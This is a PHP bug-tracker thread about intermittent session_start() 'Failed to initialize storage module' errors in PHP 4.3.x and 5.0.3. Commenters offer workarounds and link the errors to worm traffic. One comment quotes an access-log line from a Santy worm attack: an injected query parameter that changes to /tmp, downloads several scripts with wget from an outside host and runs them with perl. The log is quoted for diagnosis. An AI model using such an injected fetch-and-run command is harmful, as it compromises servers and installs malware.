ID: 25876 Comment by: jarratt at dotpixel dot net Reported By: golden at riscom dot com Status: Assigned Bug Type: Session related Operating System: freebsd 4.8 PHP Version: 4.3.9-4.3.10 Assigned To: sas New Comment:
Update: Hi again, On the above mentioned issue, we only recently started testing with our own 'session.save_handler', when this error started to appear, i found that if i restart apache and access the orginally working sites (default session.save_handler) they appear to be fine? not sure if that helps any but i thought i would mention it. regards Previous Comments: ------------------------------------------------------------------------ [2005-01-06 20:24:12] jarratt at dotpixel dot net Hi, We also seem to be experience this intermittent problem with a newly compiled version of PHP 5.0.3 Fatal error: session_start() [function.session-start]: Failed to initialize storage module: user (path: ) in ... Any ideas, i have two versions of php on my fedora 1 box if i switch to php 4.3.8 Fedora rpm version i have no issues. In the php.ini has session.save_handler = files set any suggestions? Thanks ------------------------------------------------------------------------ [2004-12-30 02:18:57] aussie_jadu at hotmail dot com We're experiencing the same error, with php 4.3.10 running on Redhat 7.3 with apache 1.3.31. PHP Fatal error: session_start(): Failed to initialize storage module: user ------------------------------------------------------------------------ [2004-12-28 21:27:20] mak123 at poczta dot onet dot pl I found many log lines with: ...&PHPSESSID=http://www.visualcoders.net/spy.gif?..... or other session variables like osCsid, IDP, sess_id - and there is huge correlation between number of such attacks and time when sessions hang with 'Failed to initialize...' error. After 50 - 70 such request in 10 - 15 seconds php refused to handle session_start() function. ------------------------------------------------------------------------ [2004-12-28 20:32:21] mak123 at poczta dot onet dot pl I've added 'php_value session.save_handler "files"' line to config file and errors disappeared. ------------------------------------------------------------------------ [2004-12-28 19:21:28] cruiser at ptcruiserclub dot org I'm using php 4.3.10 on Apache2.4.20 on Redhat 9 Lots of this error repeating over and over in apache error_log: "PHP Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0" All the errors correlate to the Santy worm attacks on my oscommerce store in the apache access_log /index.php?cPath=34&osCsid=http://www.visualcoders.net/spy.gif?&cmd=cd%20/tmp;wget%20www.visualcoders.net/spybot.txt;wget%20www.visualcoders.net/worm1.txt;wget%20www.visualcoders.net/php.txt;wget%20www.visualcoders.net/ownz.txt;wget%20www.visualcoders.net/zone.txt;perl%20spybot.txt;perl%20worm1.txt;perl%20ownz.txt;perl%20php.txt adding some mod_rewrite rules in httpd.conf to redirect the worm away stopped the errors. ------------------------------------------------------------------------ The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/25876 -- Edit this bug report at http://bugs.php.net/?id=25876&edit=1